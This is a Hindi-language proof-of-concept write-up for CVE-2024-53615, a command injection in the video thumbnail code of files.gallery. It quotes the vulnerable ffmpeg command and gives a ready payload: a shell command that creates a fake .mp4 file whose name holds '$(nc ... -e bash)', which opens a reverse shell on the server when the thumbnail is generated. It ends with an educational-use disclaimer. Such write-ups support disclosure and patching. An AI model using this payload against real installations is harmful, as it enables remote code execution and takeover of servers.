
CVE-2024-53615
कार्ल वार्ड के files.gallery v0.3.0 से 0.11.0 तक के वीडियो थंबनेल रेंडरिंग घटक में एक कमांड इंजेक्शन भेद्यता, दूरस्थ हमलावरों को एक विशेष रूप से तैयार वीडियो फ़ाइल के माध्यम से मनमाना कोड निष्पादित करने की अनुमति देती है।
आवश्यक शर्तें:
ffmpeg PATH में होconfig.php: 'allow_upload' => trueexec को PHP कॉन्फ़िग में सक्षम होना चाहिएयह भेद्यता निम्न पंक्ति में है (संस्करण 0.9.12 से ली गई), जो वीडियो पूर्वावलोकन उत्पन्न करती है:
$cmd = $ffmpeg_path . ' -ss 3 -t 1 -hide_banner -i "' . str_replace('"', '\"', $this->path) . '" -frames:v 1 -an -vf "thumbnail,scale=480:320:force_original_aspect_ratio=increase,crop=480:320" -r 1 -y -f mjpeg "' . $cache . '" 2>&1';
चूँकि $this->path उपयोगकर्ता द्वारा नियंत्रणीय है, हम एक दुर्भावनापूर्ण फ़ाइल बना सकते हैं जिसका शीर्षक bash कमांड प्रतिस्थापन है। यह महत्वपूर्ण है कि इस फ़ाइल में mp4 मैजिक बाइट्स होने चाहिए और फ़ाइल नाम .mp4 के साथ समाप्त होना चाहिए:
$ echo "AAAAIGZ0eXBpc29tAAACAGlzb21pc28yYXZjMW1wNDEAAQv7bW9vdgAAAGxtdmhk" | base64 -d > '$(nc 127.0.0.1 8443 -e bash).mp4'
यदि हम इस फ़ाइल को अपलोड करते हैं, और एप्लिकेशन को फ़ाइल लोड करने के लिए पृष्ठ को रीफ्रेश करते हैं, तो हमें अपनी स्थानीय मशीन पर एक शेल प्राप्त होता है।
नोट: कमांड फ़ाइल नाम में संग्रहीत होता है, इसलिए नाम की लंबाई की सीमाओं के कारण रिवर्स शेल की संभावनाएँ सीमित होती हैं।
यह रिपॉज़िटरी केवल शैक्षिक और अनुसंधान उद्देश्यों के लिए है।
दुरुपयोग चेतावनी: किसी भी अनधिकृत या दुर्भावनापूर्ण गतिविधि के लिए इस टूल का उपयोग सख्त रूप से निषिद्ध है और यह स्थानीय, राज्य या अंतर्राष्ट्रीय कानूनों का उल्लंघन कर सकता है। लेखक इस कोड के किसी भी दुरुपयोग के लिए ज़िम्मेदार नहीं है।
किसी भी वातावरण में इस टूल को तैनात करने से पहले हमेशा उचित प्राधिकरण प्राप्त करें। इस प्रोजेक्ट का उपयोग करके, आप इसे जिम्मेदारी और नैतिक रूप से उपयोग करने के लिए सहमत होते हैं।